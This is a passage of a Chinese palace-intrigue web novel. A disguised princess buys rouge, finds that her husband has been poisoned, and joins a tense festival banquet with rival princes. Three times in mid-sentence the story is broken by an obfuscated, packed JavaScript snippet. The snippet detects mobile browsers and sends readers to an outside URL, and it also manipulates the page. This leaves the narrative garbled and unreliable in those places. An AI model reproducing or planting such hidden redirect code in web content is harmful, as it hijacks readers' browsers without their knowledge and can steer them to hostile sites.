万姝丹肯定地说:“一定会。如此的话,四人中的一个人必然是二哥的近卫容权。剩下这最后一人,我也不敢妄下定论。” 宁熙点头,“此事我也会在执金吾里打探打探,看看有没有风声。至于你那日说的张行与和葛洪,他们应当是受皇上的命令秘密出城,执金吾这边只为他们开了城门,并不知道他们去向了哪里。不过我想,最近发生的事情里,能让皇帝派人的,也就只有金川楼一案了。” 万姝丹问:“因为牵扯了太子?” 宁熙右手拇指缓慢搓捻着食指第二个指节,“不错。所以这二人,极有可能去了淮州,去打探这金川楼背后的人是不是裴子鸿。马三白交代的这件事,是姚崇峻亲自审的。以姚崇峻的谨慎程度,这件事只有三人知,我、姚崇峻和皇上。可我比他二人更清楚,金川楼就是裴子鸿的产业。只是不知裴子鸿要靠什么,来躲避这个难关?” 万姝丹摆摆手,“放心好了,裴子鸿那个笑面虎,有的是办法。既不会卖了我们,也能平安脱身。比起这事,今天的画舫翻船让我更为在意。我想明天再去看看。” 宁熙看着万姝丹卸妆后白净的小脸,“你若是出门,可以顺道去一趟‘金支斋’。” 26.前路 三月四。 万姝丹早上带着颜宥津出门,坐马车到了弦湖边,那艘画舫确实不在湖中了。 明日就是寒食,今天街上的人也不少,许多人都在准备一应所需,甚至不少人也在提前过节。 万姝丹见这边已经没什么可以调查的,对颜宥津说:“去金支斋。” 金支斋所在的银杏街有些偏,在城东南,它就开在银杏街的街头,像是在一条分界线上,越往东南走,房屋越矮小越密集,是城东最拥挤的区域。 “为什么会叫银杏街?” “这个啊。”颜宥津一边驾车一边说,“前朝时这里就叫银杏街了,相传城西国子监的那棵银杏树是从这里移植过去的。银杏虽然没了,但是街道的名字一直延续了下来。还有一种说法是,银杏所在的城西那一片是读书圣地,这里的人们没有办法移栽银杏,就将街命名为银杏街,也想沾沾气运。” 等到了地方,店家迎了上来,“娘子买胭脂?” “你们这最好的胭脂是什么?” 店家说:“娘子有所不知,咱家最好的胭脂是以紫铆为主要原料制作的,取一斤紫铆、八钱白皮、半两胡桐泪、两磥波斯白石蜜,先在铜铁铛器中著水八升,这水啊,取的可都是山泉水,急火煮水到鱼眼沸,先下紫铆,再下白皮,最后下胡桐泪和波斯白石蜜,等到紫铆并沉向下,就可以用生绢过滤了。”① 颜宥津疑惑地问:“你们这配方是可以随便传授的吗?” 店家笑了,“这配方早就不是秘密了,都在书上记载着呢!主要要看制作过程,以及采用的原料优劣,比如这紫铆以何处的为优,这生绢要买谁家的,不同的棉浸出的胭脂也不同。” 万姝丹说:“这方我也知道,将浸叠后的生绢以竹夹于炭火上炙之燥,再次浸入。整个过程反复六七次就可以了,若是想要浓郁的就重复十遍以上。” 店家竖起大拇指,“娘子是懂行的!咱家这上等的胭脂叫‘金花燕支’,每次只需用簪轻轻挑一点就足够了。来,您稍等,我去拿货。” 上好的胭脂放在翠石盒子中,万姝丹打开一看,果然颜色很深,还有一股若有若无的香味。 店家说:“金花燕支是所有胭脂中味道最为浅淡的一个,但香味十分特殊,比起脂粉气,更多的是木香。” 颜宥津见状说:“确实很好闻,这可比昨日弦湖那边的香气好闻多了。” 店家问:“不瞒郎君,昨日我在这里都闻到那股香气了,结果本该是好卖东西的日子,却盖过了我这些胭脂的香味,我这金支斋也算是甘拜下风了。” 万姝丹装糊涂,“那究竟是什么香味啊?” 店家略微沉吟,“这我就不知道了,从来没闻过那气味呢。娘子若是想知道,可以去银杏街里面问问,那里啊,天南海北、三教九流、百工技艺的人都混迹在那边,说不定有识货的。” 出了金支斋,颜宥津低声说:“四娘,若是要去银杏街,还是属下一个人去吧。” 万姝丹摇摇头,“不必,你的身份也很明显,咱们无缘无故查这件事不太合适。这样,先回府吧。” 上了马车,万姝丹隔着车帘问:“银杏街那边为什么是这样的?” 颜宥津说:“之前我同王妃说城东是百姓和吏的居所,那城东南就是贫户们的聚集区域。这些贫户除去百姓外,还有不少兵士。京城里是没有营房的,家境好一些的,有自己的房子,贫困的就只能赁房,而银杏街那片是最便宜的。最低级的兵士月粮微薄,他们有不少人花钱‘买闲’以从事其他职业,走卒贩夫、百工技艺无所不干。” “百姓里面,有从事杂役的,比如属于官府的工匠和厨役。还有许多逃荒避粮差的,都会带着家眷来京城,这里面有一些过于贫穷的,就会住进银杏街。银杏街里人们会有一种互相帮扶的现象,比如那些领牌的杂役,会有别人冒充他的义男女婿,代替他领牌上工。还有那些下九流的人,也都住在那边。”② 万姝丹细细算了算,“你这么说,人数可不少。” 颜宥津低声说:“确实如此,京城人口,当属四方之民最多。自从开科举之后,赴京之人就越来越多了。然而这京城里究竟人口多少,恐怕连京兆府都不知道。十年以前,进行过彻底的统计,不过那时候的数据可信度就不高。” “自从皇上不太理朝政之后,世家把持朝堂,状况就变得有些混乱了,勋贵百姓侵占街巷沟渠,到这一两年,城东南的住宅完全连成片了。虽然几次有禁令下来,执行得都不彻底。勋贵自然不放在心上,百姓因此与办事人员三番几次出现冲突。” 回到王府,万姝丹直接回了熹微院,她将金花燕支盒放在妆奁中。唤了上锦过来,上锦来时,手里拿着她们那日买的针线。 见了万姝丹,上锦行礼道:“王妃。” 万姝丹坐下来,“同我不必如此拘礼,坐下吧,教教我怎么绣花。” 说起这事,还是去金川楼那日,万姝丹见郑琬和贾琦的帕子上均有绣花。回来问过宁熙之后,方知郑琬擅长女红。万姝丹自知并无所长,琴棋书画没有一个称得上精通。既然如此,不如广学百家,多一个技能,就多一份机遇。她观郑琬此人与贾琦不同,二人又不属同一阵营。多准备一条路,没准会有意外收获。 上锦和寻夏一样,都是长公主府的婢子。上锦在长公主府里就负责刺绣,是个能力很强的绣娘。后来长公主与蓝妃交好,就被长公主送给了蓝妃,进了宫。蓝家事发,上锦又被遣回长公主府。 上锦搬了个小凳,坐在万姝丹脚边,拿起一个空白的撑子,从头开始教起。 万姝丹听得十分认真,她以前最不好这种细致的活,跟在二哥身边时,总有忙不完的事情,东奔西走。来了安王府后,日子倒是慢了下来。 这一慢下来,万姝丹就觉得有些无聊,身边没有人可以随时讨教武功,也没有四哥那种碎嘴子时时刻刻在她耳边聒噪不停。倒是和三哥有些像,与三哥在一起时,安静的时刻更多。即便是一同出任务,往往一个眼神就可以明白对方所想,二人相得益彰,效率出奇地快。 她看向自己的双手,这双手原本掌心分布厚茧,经过长时间的养护,如今竟是一点痕迹都看不出来了,这样才不会把娇柔的锦缎勾出丝,也更符合贵女的身份。只是想要再拿刀,就容易磨破了。 “王妃?” 万姝丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070932|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着上锦手上的绣针,“你继续。” 世间万般皆如此,岂有两全法? 沈济之早就教过她了,这人世往往所得并非所求。 上锦介绍完了要注意的点,将撑子交到万姝丹的手里,万姝丹依着她所说起了第一针。 如今这条路,是沈济之领她走上的,她也愿意走这一遭。同样她也明白,这是条只能她自己走的路。作为女眷,她不能时时在宁熙身边。执金吾巡视全城,获得消息会及时一些。昨日若不是郑琬相邀,她怕是要很晚才能知道画舫倾翻一事了。而许多事情,往往就败在时间差上。 万姝丹绣出第二针。 她要走出一条属于自己的路,然而现在仅有的身份是五王妃。这个身份说高也高,可仍然是依附于宁熙,一荣俱荣,一损俱损。别人尊称她一声王妃,可不会真的把她当回事。尤其她现在是“秦可兰”,“秦可兰”可以说是一无所有了。她们现在接近她,不过是因为好奇罢了。这好奇中还掺杂着探究。 万姝丹要戴好“秦可兰”的面具,然后,她会试着搏一搏。 她不想像昨日那般,他们可以去医馆询问柳传,而她连个理由都没有,只能坐在原地等待。 “王妃绣得真好。” “嗯?”万姝丹看了看自己手下的绢布,“很好吗?” 上锦面露温和,嘴角微微勾起,“王妃第一次学,能绣成这样很好了。” 这时寻夏进来了,一脸愁容地端着茶碗。 上锦立刻起身,站至一旁。 万姝丹瞥了一眼,“怎么了?” “殿下有些不舒服。” 她手一顿,捏着绣针,“不舒服?” “是啊。”寻夏将托盘放下,“说是从午后开始就浑身乏力,回府之后又严重了一些。” 万姝丹思量几下,忽然起身,拎起药箱,快速往岁安堂走去,与景煜打了个照面。 “你去找医官?” “王妃。”景煜顿了顿,“是,殿下症状在逐渐加重。” 万姝丹匆匆撂下一句话,“你等一下。” 她进了内间,宁熙阖着眼靠在迎枕上。 万姝丹伸手抚上他的额头,“不热。” 她皱着长眉,摸了摸他的脉,没摸出个所以然,“你现在什么感觉?” 宁熙嘴唇泛白,声音发虚,“肚子有些不舒服。” 万姝丹轻轻碰了碰他的腹部,“描述一下?怎么个不舒服?” 宁熙难受得皱起眉,“好像有东西堵着。” 万姝丹没说话,她用手无意识描摹着自己的嘴唇,又看了看宁熙的状态,对屋里众人说:“像是中毒了。” “中毒?” “怎么会!” 宁熙虚虚抬眼,“你可有法子?” 万姝丹打开药箱,拿出一个黑瓷瓶,倒出一粒药丸,“只要不是罕见的毒,此药均可解。只是服药这几日要戒酒戒冷食。” 寻夏担忧,“明日就是寒食了,一直等到初七的早上才可以取新火。” 万姝丹意外道,“京城里高门世家也会按例遵循这些规矩?” 寻夏说:“总要做做样子。” 27.九里园 次日一早。 万姝丹醒来,挂好床帷。 寻夏就进来了。 万姝丹边穿衣边问:“殿下怎么样了?” 寻夏替她理着长裙,“昨晚吐过一次后,就好多了。” 收拾整齐后,万姝丹说:“我去看看。” 见岁安堂门敞开,万姝丹毫不客气走了进去。 景煜见她进来,行礼道:“王妃。” 万姝丹坐在榻上,看向床上靠在迎枕上的宁熙,“看来这执金吾,还需殿下好好整顿整顿。” 宁熙闭着眼睛,“现在还不是时候。我刚接手执金吾,若是大刀阔斧排除异己,太惹眼了。” “敌在暗,我在明。能做的只有见招拆招,我进入执金吾不过几日,还没有完全摸清楚里面的关系。名册上每个人的姓名、籍贯、升迁都写得十分清楚,但总有一些人有秘密,这是隐藏在名册背后的东西,挖掘这些内容,还需要时间。” 万姝丹说:“他们这样大胆,想来也不会安分。对了,你那日让我去金支斋,可是银杏街里有什么值得注意?” 宁熙睁开眼,有点疑惑,“银杏街?” 万姝丹见状,反问:“不是银杏街?那你让我去金支斋做什么?” “金支斋的胭脂在京城里数一数二。”宁熙顺势就问了下去,“你买了什么?” 万姝丹顺口接道:“金花燕支。” 她不死心地又问:“就只是买胭脂?” 宁熙茫然,“还有什么别的吗?” 万姝丹静默片刻,真是她多想了。 宁熙忽地笑出声,病容一扫而空,“你以为我在提醒你,让你去银杏街吗?那里有些乱,你去不太好。” 万姝丹站起身,坐在床边,眼睛扑闪着,“殿下,我以为买胭脂这种事情,殿下会亲自邀请我去。” 宁熙怔愣一瞬,抿唇笑了,陪她演,“是我疏忽了,寒食我有两日休沐,择日不如撞日,不知今日王妃可否愿意随我出门?” 万姝丹拖长音调,“今日啊,我有事了,殿下还是自己去吧。” 这时寻夏进来,“殿下,王妃。三王妃、四王妃、六王妃来了,说邀请殿下与王妃出游。” 万姝丹收起玩笑,脸色沉下,“今日?可说要去哪儿?” 寻夏说:“三王妃说是要出城呢。” 宁熙碰了碰万姝丹胳膊,“没事,出城的话,极有可能是去昽原。杜家的九里园就在那里。” 万姝丹想起三月三那日郑琬的话,她沉吟道:“你先换衣衫,我出去迎迎她们。” 万姝丹出了岁安院,快步走回熹微院,从药箱里拿出两个瓷瓶,各倒出一粒药丸,用绸布包裹好。这才往四面厅走去。 过了两道院门,就见那三人在里面,有一搭没一搭聊着。 万姝丹快走了几步,人还未到,清脆的笑声先传过去了,“三嫂嫂、四嫂嫂、别清,你们怎么来了,也不事先告诉我一声,让你们久等了。” 郑琬没忍住笑了,“慢点跑,仔细摔了。” 贾琦悠悠望去,“这么高兴,可是想我们了?来之前,我还怕今日忽然上门,扰了你与子煦的甜蜜日子。” 万姝丹微微睁大眼睛,双颊泛红,“四嫂嫂又胡说!” 郑琬眼中带笑,“好了好了。今日啊,由不得你和子煦了。九里园想不想去?” 万姝丹讶然,“可是嫂嫂那日说的那座园子?” “正是。” 万姝丹又高兴又羞涩,“那真是太好了,我确实想去呢。” 宁熙这时走进了四面厅。 贾琦瞧他一眼,“子煦可够慢的。” 宁熙温和地说:“让嫂嫂们与别清久等了。” 几人有说有笑地出了王府,就见宁远靠在马车边,“你们可真慢啊。” 宁恪挑起帘子,从小窗看过来,“时候不早了,出发吧。” 宁熙和万姝丹上了他们自己的马车,景煜驾着车,寻夏坐在一旁。 马车里。 万姝丹压低声音,从怀里拿出绸布,“殿下,这是解毒丸与护心丸。今日去九里园,一定逃不过饮酒。殿下身上的毒,据我猜测,剂量很小。但我仍无法保证,会不会有意外情况发生。这两粒药丸,应当可以保证殿下顺利回府。” 宁熙接过药丸,“让王妃费心了。” 万姝丹心思百转,“殿下,时间这样凑巧。你昨日中毒,今日就受邀出门,他们之中会不会就有下毒之人?” 宁熙服药后,闭目养神,闻言轻声说:“争那个位置的,左右不过这几人。皇权威重,世家就掀不起太大波澜,仰仗的仍是皇子。各自站各自的队,互相残害么,一贯的路数了。” “只是若没有你,恐怕我尚且不会考虑到中毒。所以想来,他们也不是奔着要我的命来的,无非让我吃吃苦。加上我身体底子差,积劳成疾,哪一日没挺过来,也省得他们亲自动手了。” “至于为什么剂量这么少,无非是长公主还活着,他们不好真的毒杀我。否则被侍御医查验出来,这不是吃不了兜着走么?” 万姝丹心中有疑,“那今日之邀却是为何?不就暴露他们的意图了吗?” 宁熙面色平静,好像这些事不是发生在他身上一样,“你觉得他们会怕?” 万姝丹脸色沉了下去。 确实,宁熙无权无势,就算知道了下毒之人又能如何?他拿什么和对方斗? 思及此,她问:“殿下可有猜测?” 宁熙摇头,“还不确定。但不会是六弟。宁馥与秦可兰三哥交好,算起来,褚王府覆灭,对六弟是不小的打击。自那以后,他便开始流连酒肆花坊。” “另外,顾别清是顾老太傅的孙女。老太傅一生为国为民,他这个孙女可是传了老太傅的衣钵,做不出来这种事情。” 万姝丹问:“皇子大婚后都会授予官职,为何只盯着殿下一人?” 宁熙微微睁开双眼,他的眼中尽是冷意,“六弟领宗正卿,三哥领鸿胪寺典客令,四哥领京兆牧。” “京兆牧?” “是,京兆牧本为京兆府最高官职,然而这是个虚衔,没有皇帝的命令,他无权过问京兆府的任何事宜。” 万姝丹说:“所以,殿下这个执金吾左将军,是真正掌实权的。这么说来,皇上是故意这样做的?” 宁熙缓缓吐出一口气,“皇帝偏心偏得厉害,他一心只在东宫。具体来说,他的眼里只有皇孙宁衍。余下这些人争斗,就必然会分派别。皇帝是想看看有哪些世家心怀异思。” 万姝丹发现这与之前她的想法出入甚大,“是我欠思虑了。” 宁熙看向她,“时机没有出错,太子与我现在是互为挡箭牌的状态。他们针对我,是因为太子还未展露出来。等到太子出来了,我就可以躲在太子后面,稍微喘息一二了。你之前明明说对了,又为何自我怀疑起来?” 万姝丹有些懊恼,“我没想到殿下会中毒。” 宁熙轻轻笑了,“你忘了我刚才说的了?是你发现我中毒了,我其实也不能预料到。我不仅不能预料到他们对我下毒,也没有想到还要灌我酒。这些都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078032|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你我想不到的事情,是意外。既是意外,你何必自责?” 万姝丹心中郁结。 宁熙碰碰她的鬓发,“之前我说过,这本就是属于我的东西,我不会放弃。祸兮福所倚,福兮祸之伏。是福是祸,不走到最后,谁能知道?今日我中毒,你以为太子就会一帆风顺吗?” 他仔细观察着万姝丹的脸色,“怎么?还不高兴啊?” 万姝丹咬唇,“我本可以做得更好。若是我日日为殿下送午膳,又怎会出事?” 宁熙惊讶一瞬,随即忍俊不禁。 万姝丹偏过头看他,“笑什么!” 宁熙摸了摸她的衣袖,“防不胜防。王妃,这个世上,不是所有事情皆如所愿的。” 万姝丹心下一惊,这话与二哥说得何其相似! “你……” 万姝丹还想说什么,景煜的声音传来,“殿下,王妃,快到了。” 九里园坐落在昽原西侧,南高北低,借用西侧的溪湖,依山傍水组成若干个小园,这些小园又共同构成九里园。园中楼阁四起,山水相依,古木参天。 万姝丹下了马车,就看见园中的花开得正好,香气扑鼻,金灿灿堆在枝头。放眼望去,一片金花缭绕,一直蔓延到了后山,盘绕在当中的亭子飞檐上。周围各色花团锦簇,一团一团云集,彼此之间交相呼应。 顾别清走到万姝丹身侧,她指了指眼前的黄花,“五嫂嫂可知这是什么花?” 万姝丹沉吟,指向旁边的黄花,“我知道这个是连翘。” 郑琬听了就笑,“别清问你这枝,你倒去说旁边那枝。” 贾琦过来看了一眼,“那是金钟花,与连翘、迎春长得极为相近。” 顾别清说:“这九里园最负盛名的就是这黄色的花,一年四季不断,不管什么时候来,都能看见满园的金黄色。” 万姝丹和她们慢慢往前走着,她不时瞄一眼前面走着的宁熙,见他脚步如常,略微放宽了心。她四处看看,问:“这九里园的名字可有来头?” 顾别清在她身侧回答:“嫂嫂可知这园中栽种的最多的哪种花?” 万姝丹摇摇头。 “是桂花。”顾别清一身影青色圆领缺骻锦袍,拾阶而上很是方便,“桂花香味浓清兼具,清可荡涤,浓则致远,最得杜公喜爱。因了这香味,所以桂花又称‘九里香’,这园子的名字也就叫‘九里’了。” 万姝丹提着裙子一阶一阶走着,“那秋天这里肯定很受欢迎。” 顾别清肯定地说:“这是自然,等到顺风的时候,在弦湖都能闻到一些。” 此时他们登上一处高台,万姝丹往西边看去,只见山水清秀,花芳草绿,晴楼巍巍。这个方向只能看见一条河水流贯其间,再往西南望去,就是片片青山松竹,云烟披靡。 顾别清顺着万姝丹的视线,“那边是歆川,再往西南连着芦山。那边河流密布,竹木森蔚,风景很好。有不少佛寺古刹坐落其中,也是城中豪富建别府的首选位置。” 日头攀高,万姝丹提着裙子的手微微颤抖,她小口小口喘着气,前面走着的贾琦和郑琬也有些累了。万姝丹随着她们一起坐在一侧的大石头上。 郎君们还想继续往前走,郑琬说:“三哥,不如就在前面的晴川阁吧。” 宁恪微微皱了眉头,宁远笑着看向身后的娘子们,“三哥,就在晴川阁吧,我见她们也都走累了。” 宁馥跟着说:“晴川阁景致不错,我还就喜欢那里的一眼泉水。” 宁恪点了头,“钟大,吩咐下去,在晴川阁摆宴。” 28.寒食 万姝丹在寻夏的搀扶之下落了座,她刚一坐下,宁熙同她咬耳朵,“王妃装累装得很像样子嘛。” 万姝丹默不作声掐他一下,在宽大的袖子遮掩下看不出痕迹。 那边仆人们已经开始摆上饭食,万姝丹扫了一眼,全是冷食。 宁馥看着笑了一声,“没想到四哥对寒食节颇为认真。” 宁恪给自己倒了杯酒,“你三哥也有份,至少有一半都是你三嫂准备的。” 宁远合上折扇,“怎么说每到节日,都得象征性过一过。这天气也暖了,今日大家还走了许多路,多少吃一点冷食也不打紧。” 宁熙神色依旧,拿起一块翻毛玫瑰花饼,咬了一小口,“嗯,四嫂嫂府上的这玫瑰花饼味道没变,还是一如既往地好吃。” 宁馥来了兴趣,“我也尝尝。” 郑琬给自己挑了一块糕点,“你也尝尝我的,看看我府上糕点的味道还是不是你记忆里的那样。” 宁熙笑着说:“三嫂嫂拿手的七返糕我是一定要吃的。” 他顺手夹了一块放进万姝丹的碟子里。 万姝丹放下手上的单笼金乳酥,尝了一口七返糕。 郑琬问:“怎么样?” 万姝丹回说:“三嫂嫂手艺真好。” 贾琦也挑了一块,“我就是败在不会亲手作糕点了。” 宁远夹起一块水晶龙凤糕,“琦娘说笑了,能发现这些优秀的厨娘,琦娘也是懂行之人。在琦娘精挑细选下的这些吃食,肯定不输风味。” 宁恪哼笑一声,“来尝尝这‘太平君子’!” 宁馥怪叫道:“四哥!有这好酒你不早拿出来?” 宁恪说:“你自己鼻子不行怪我?” “鼻子不灵不耽误我喝酒!” 贾琦摆摆手,“好了好了,快给他,还有那‘曲界’。” 宁馥拿酒杯的手停下来了,“你们这次还准备了好几种酒?” 宁远给自己倒了一杯酒,“大家许久没有一起坐坐了,小酌而已,不必太过担心。” 宁恪一口喝下杯中酒,他拿起帕子擦擦嘴角,“怎么了六弟,这‘太平君子’可是特意为你和五弟准备的。” 宁熙举起酒杯,“如此,先谢过四哥了。” 万姝丹看着宁熙面不改色地喝光一杯酒,也给自己倒了杯“太平君子”。 贾琦举着酒杯问:“上次可兰说自己会酿酒,不知你酒量如何?” 万姝丹笑了笑,“我不行的,只是略微能喝罢了。” 她啜饮一口,火辣的酒液沿途激起一阵颤栗,直冲天灵盖。万姝丹不喜喝酒,二哥对她说过喝酒的种种坏处。她自己也不喜欢酒的辛辣味道,还有那微醺之后的状态,让她觉得无法完全掌控自己的身体,所以她极少饮酒。所谓“自己酿”的醉花阴,确实是秦可兰酿的,与她万姝丹一点关系也没有。 此时一口烈酒下肚,她的双眼当即泛起水花。万姝丹连忙闭了闭眼,等这劲头过去。 贾琦一直注视着万姝丹,见她这样的反应,拍手笑道:“看来可兰的‘略微能喝’和我理解的是完全不同了。” 郑琬放下酒杯,吩咐婢女一声,“去给五王妃倒杯‘曲界’。” 她又转头对贾琦说,“你也不看看这‘太平君子’是何等的酒。” 万姝丹声音带着些嘶哑,她清清嗓子,“让嫂嫂们见笑了,没想到这酒与其名字竟是相反的。” 顾别清面前是一碗茶,她看着碗中的茶汤,“相传‘太平君子’是用西州产的葡萄酿造的,本是喝起来顿觉身躯舒适、通体畅快的,是以命名为‘太平君子’。” 万姝丹静静等了片刻,并不见顾别清的下文,她这才问:“不知后来?” 宁远微微一笑,“是皇上。那大概是洪运五年,皇上与昌军在现在的京都北郊外交战,大胜。后来在庆功宴上,有人向皇上提及‘太平君子’,借‘太平’二字称赞皇上,皇上却说‘太平君子’味淡,虽对身体有益,却失了烈性。” “次年先帝登基,贞弘二年灭昌,正是那一年,尚食局进呈改良后的‘太平君子’,得到了皇上的喜爱。虽也以葡萄为原料,却是烧酒的一种,其清如水,味极浓烈,很少喝酒的人是喝不了的。” 婢女端来了“曲界”,郑琬的声音适时响起,“这‘曲界’确是薄酒,也是药酒,用的是瑶泉曲,这种酒曲以白面和糯米粉酿作,还加入了十五种草药。你来尝尝。” 万姝丹依言端起酒杯小尝一口,果然酒味浅淡,草药清香,“确实依嫂嫂所说,草药的味道高过酒味,然并不发苦,着实好喝。” 贾琦不明所以地笑了,“‘曲界’我是知道的,‘优游麯世界,烂漫枕神仙’①,传说这种酒喝醉了以后,好像会进入蝴蝶满天飞舞的地方,人会变得迷迷糊糊的,不愿意醒来。” 郑琬说:“你也说那是传说了,‘曲界’改用瑶泉曲之后,就和传说大不相同了。它现在可以归入药酒,对身体大有益处,可不是什么烈酒,也不会喝醉。” 顾别清手指摩挲着茶碗沿,“酒虽可忘忧,亦能作疾,多饮伤神耗血,所谓腐肠烂胃,溃髓蒸筋,致生诸病。” 宁远呵呵笑着打岔说,“好了好了,今日是出来散心游玩的,赶上节日,多少喝一点也无妨。来啊,准备乐器,助助兴。” 宁恪坐在席间,喝着酒,眼睛扫过席上的众人。 宁馥听见顾别清的话,去拿酒杯的手拐了个弯,端起了茶碗。 宁恪见状不冷不淡地说:“看来六弟今日是无缘美酒了。” 贾琦一旁附和,“是啊,顾家家风如此,也不怪别清无法欣赏饮酒之趣,老太傅可是连皇上赐的酒都不会喝的。” 顾别清仿佛没有听见他们的谈话,和宁馥低声说着话,脸上挂着浅淡的笑意。宁馥手指勾住顾别清的手腕,带着顾别清手中的茶碗晃动一下,茶水在碗里荡悠一圈,几要泼溅出来。宁馥一边有说有笑,一边接过茶碗放回几上,回手时握住顾别清的手指,轻轻捏了捏。 宁熙看着对面二人的互动,不知在想些什么。 万姝丹注意到对面两人的动静,余光瞄了一眼,没太在意。她将目光放回席间,细细数着吃食的种类,有十二种糕点,五种羹汤。单就她刚才吃过的几种,能品出用料十分讲究。糕点的制作工艺也十分精细,镂切雕饰样样齐全。 宁恪的视线转到旁边,“五弟妹会喝酒,应当不会拦着五弟了吧?来,给五弟倒一杯‘玉露春’。” 宁馥错愕,“你们到底准备了几种?” 宁恪哈哈一笑,“足够喝的,你既然不喝了,那就让其余人喝个够。” 顾别清秀丽的眉轻轻皱了一下,“你们这是‘瓶盏病’。” 宁恪哼笑,“在座的除却六弟妹,可都是饮酒之人。这人数上的对比,也不知是我们有病还是弟妹有病。” 宁馥当即就要拍桌子,被顾别清按下手。她脸上不见怒色,甚至还浅浅笑着,“我呀,我若是有病,也是‘茗荈病’。” 郑琬用手帕抹抹嘴角,“好了,这样说,在座的找不出一个健康人。我看啊,这不是病,这叫‘痴’,一个个都是痴人。” 说着她招招手,“来,可兰,这是冷蟾儿羹,从淮州刚运来的蛤蜊做的。” 万姝丹用小匙挖了一勺羹汤,余光看见宁熙喝了满满一杯的玉露春。 酒过三巡,万姝丹都不清楚自己喝了多少杯,所幸后面都只喝“曲界”。此刻是微醉,她能感觉到自己的脸颊发红,身上发热,头有点发胀。 再看席间,杯盘狼藉,除却顾别清,每个人的坐姿都或多或少变得懒洋洋的。 宁恪懒散的靠在椅背上,拿着酒杯的手腕转着圈,酒一丁点儿没有倾洒出来,他的头跟着奏乐节拍晃动着,眯着眼睛盯着舞娘。 贾琦和郑琬倒是凑在一起,谈论着手帕上的绣花,仔细比对着每个花纹的走样。 宁远脸上带着淡淡的笑,双手交握放在腿上,欣赏着舞蹈。 宁馥已经把头靠在顾别清的肩上,眼神清明,小声说着什么。顾别清一开始还劝他坐好,次数多了,也就由他去了。然而即使多了一个人的重量,她的坐姿依旧规矩。万姝丹微微偏了偏头,才发现了奥妙,原来是宁馥大半个身子都压在了扶手上。 她自己也想着坐直身子,可是头实在有些发晕,身体不由自主就软了下去。万姝丹眨着眼看向旁边,宁熙的眼神已经迷离了,双颊酡红,整张脸越发秾丽。 她根本分不清他和宁恪谁喝得更多,刚才二人一直在拼酒,或者说,宁恪没用什么技巧就让宁熙多喝几杯。 万姝丹见对面的宁馥都快滚进顾别清怀里了,她用发醉的脑子缓慢地想了想,往宁熙那边靠了靠。 许是感受到身侧之人的动作,宁熙偏头看过来,就见万姝丹将头靠在自己的肩上。喝醉了的他怔愣一瞬间,然后不由自主地挪了挪上半身,让万姝丹靠得更舒服一些。 宁熙低下头,同她咬耳朵:“你醉了?” 万姝丹小声回应着:“比殿下好多了。” 宁熙的手指轻轻捻着万姝丹的衣服。 万姝丹缓了一下继续问:“殿下觉得怎么样?” 宁熙轻声说:“还好……” 不等他话说完,宁恪的声音传来,“五弟妹嫁来这些时日,我还不知弟妹擅长什么?” 郑琬来了兴趣,“确实,我还不知可兰会些什么?” 万姝丹坐直身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沿着抄手游廊往后走去,水声渐响。转过弯,就见一座堆砌的山体上,挂着一条小瀑布,阳光下格外清澈。飞溅的水珠落在周围花丛中,花朵更显娇嫩。 贾琦一边走一边说:“可兰长得这样好看,子煦自然爱重你。别看京里豪门贵族适龄的娘子众多,可兰一点也不输给她们,看来称赞可兰容貌的传言并不是空穴来风。只是这么些年,你隐藏得也太深了些,神神秘秘的。在知道你要与子煦结为连理后,可是让我翘首以盼了好些日子。” 贾琦的手虽然托在万姝丹的胳膊下,却一点力没使。 万姝丹控制着自己的脚步,努力走出醉酒后企图走直线的样子,她略微摇摇晃晃地,回话也慢半拍,“嫂嫂说笑了,京中娘子多擅艺,我拿什么与她们比呢。若只是长得好看,可这容貌也并非长久存在。花无百日红,日日相见,说不准哪天就看腻我这张脸了。父亲也是考虑到这一点,将我深藏闺中,期待我未来的郎君能对我有所期待,才不至于过早失去了兴致。如今我远嫁京城,比起别的,总是忧虑要多一些。” 贾琦闻言莞尔一笑,“你放心好了,这京中什么样的日子,我是再清楚不过了。咱们同为娘子,自应多多帮衬一些。你若是受了什么委屈,不要瞒着我们,即便我无法解决,还有姑姑在呢。” 一处阁子就在离瀑布不远的地方,正好在水珠飞溅的最大距离上,此时还有帘子挂在门口。 贾琦撩开门帘,“这里是夏日的最好去处,将帘子拆掉,水花带来的凉意就能直直进入阁内。你且在这里小憩一会儿,缓缓醉意。” 万姝丹躺下来,贾琦放了帘子就走了。 她闭着眼睛靠在榻上,调整着呼吸。忽然,她听到了水声之外,不一样的动静,有人正在阁外偷窥,脚步和呼吸都过浅。万姝丹不动声色,继续装睡。 没过多久,那人就离开了。 万姝丹百无聊赖地靠在那里,半点睡意也无,她虽然喝得有些微醺,然远远不到醉意涌上头的阶段。 她调理着内息,想着那人会不会是那晚另外二人中的一个?这园子等闲之人进不来。若是外人,也该选在夜黑风高的夜晚。这么想来,只有平王宁远和宏王宁恪了,不知是他们之中的谁呢? 